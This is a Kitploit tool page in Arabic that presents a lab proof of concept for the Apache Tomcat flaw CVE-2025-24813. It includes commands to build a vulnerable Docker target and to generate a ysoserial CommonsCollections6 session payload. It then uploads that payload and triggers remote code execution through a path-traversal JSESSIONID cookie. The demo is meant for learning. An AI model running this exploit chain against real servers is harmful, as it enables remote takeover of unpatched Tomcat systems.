Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
POC-CVE-2025-24813 — إثبات مفهوم يوضح ثغرة Apache Tomcat CVE-2025-24813، مستغلًا عدم أمان PUT في DefaultServlet وإلغاء تسلسل الجلسات لتحقيق تنفيذ التعليمات البرمجية عن بُعد. | Kitploit
أدوات/GitHubGitHub/arthurabriel/poc-cve-2025-24813
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubarthurabriel/poc-cve-2025-24813

POC-CVE-2025-24813

إثبات مفهوم يوضح ثغرة Apache Tomcat CVE-2025-24813، مستغلًا عدم أمان PUT في DefaultServlet وإلغاء تسلسل الجلسات لتحقيق تنفيذ التعليمات البرمجية عن بُعد.

عرض المستودع
6منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-24813 – بيئة العرض التوضيحي (PoC)

يحتوي هذا المستودع على تطبيق بسيط تم بناؤه لمراقبة سلوك CVE-2025-24813، وهو ثغرة أمنية حديثة في Apache Tomcat تتعلق باستخدام DefaultServlet مع تمكين الكتابة (readonly=false)، مما يسمح بـ عمليات كتابة غير آمنة عبر HTTP PUT (مع دعم PUT الجزئي / Content-Range) والتي قد تؤدي إلى استبدال ملفات حساسة، بما في ذلك ملفات الجلسة — مما يُمكّن سيناريوهات تنفيذ التعليمات البرمجية عن بُعد (RCE) في حالة حدوث إلغاء تسلسل ضار.

حول هذا PoC

يستخدم التطبيق:

المكونالوظيفة
Tomcat 9 + JDK 11خادم ضعيف يُستخدم كهدف
context.xmlيُمكّن PersistentManager + FileStore لحفظ الجلسات على القرص
upload.jspنقطة نهاية بسيطة تستقبل البيانات وتكتبها على القرص
/tmp/app-data/الدليل الذي سيتم حفظ التحميلات فيه

الفكرة الأولية هي مراقبة كيفية تعامل Tomcat مع الملفات في بيئة مهيأة لدراسة CVE — بدءًا بطلب غير ضار يقوم فقط بكتابة ملف بشكل محكوم (بدون محاولة استغلال) ثم ملف خبيث.

البناء والتشغيل

  1. بناء صورة Docker
root@kitploit:~
docker build -t tomcat-cve-2025-24813 .
  1. تشغيل الحاوية
root@kitploit:~
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813

مراقبة استدعاءات النظام execve

في طرفية أخرى، نفذ الأوامر التالية.

root@kitploit:~
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200

الاختبار الأولي (طلب جيد وآمن)

سنرسل ملفًا بسيطًا لمراقبة السلوك الطبيعي.

تحميل عن طريق إرسال سلسلة نصية

root@kitploit:~
echo "Arquivo Normal" > nota.txt

curl -X POST http://localhost:8080/upload.jsp \
  -H "X-Filename: nota.txt" \
  --data-binary "Essa é apenas uma mensagem simples."

إذا كان كل شيء صحيحًا، في الطرفية التي تشغل strace لا ينبغي أن يظهر شيء.

ملاحظة: إذا ظهرت أخطاء SIGSEGV في strace، تجاهلها. إنها ضوضاء من JVM.

استغلال الثغرة الأمنية

  1. تحميل YSoSerial أداة تُستخدم لتوليد كائنات Java متسلسلة ذات سلاسل أدوات معروفة.
root@kitploit:~
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
  1. توليد الحمولة الخبيثة بتنسيق الجلسة

هنا نستخدم سلسلة CommonsCollections4 لتوليد كائن يمكنه، في سيناريو ضعيف، تنفيذ الأمر touch /tmp/RCE. سيتم حفظ الحمولة باسم hack.session.

root@kitploit:~
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session

إذا أعطى الأمر السابق خطأ، فلضمان التوافق مع الإصدارات الحديثة من Java (9+)، من الضروري إضافة العلامة --add-opens لتعطيل التغليف القوي (JPMS)، والذي من شأنه أن يمنع الانعكاس الذي يستخدمه ysoserial.

root@kitploit:~
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session

بعد هذا الأمر سيكون لديك ملف ثنائي محلي:

root@kitploit:~
hack.session
  1. تحميل الحمولة إلى الخادم

نرسل ملف .session إلى نقطة نهاية JSP، التي تكتب المحتوى مباشرة في الدليل /tmp/app-data.

root@kitploit:~
curl -v -X POST \
     -H "X-Filename: hack.session" \
     --data-binary @hack.session \
     http://localhost:8080/upload.jsp

المخرجات المتوقعة:

تم حفظ الملف بنجاح في: /tmp/app-data/hack.session

📌 في هذه اللحظة لا يتم تنفيذ أي أمر — فقط حدثت كتابة ملف على الخادم.

  1. استخدام الجلسة المحقونة

الآن نقوم بإرسال طلب يحوي الكوكيز JSESSIONID=hack، محاولين إجبار Tomcat على تحميل الجلسة التي تم إنشاؤها حديثًا.

root@kitploit:~
 curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"

بالنظر إلى الطرفية التي تشغل strace، يجب أن تظهر أوامر execve تقوم بإنشاء الملف.

لمعرفة ما إذا تم إنشاء الملف، يمكننا أيضًا الدخول إلى الحاوية والتحقق

root@kitploit:~
docker exec -it toy-cve ls -l /tmp/
تنزيل الأداة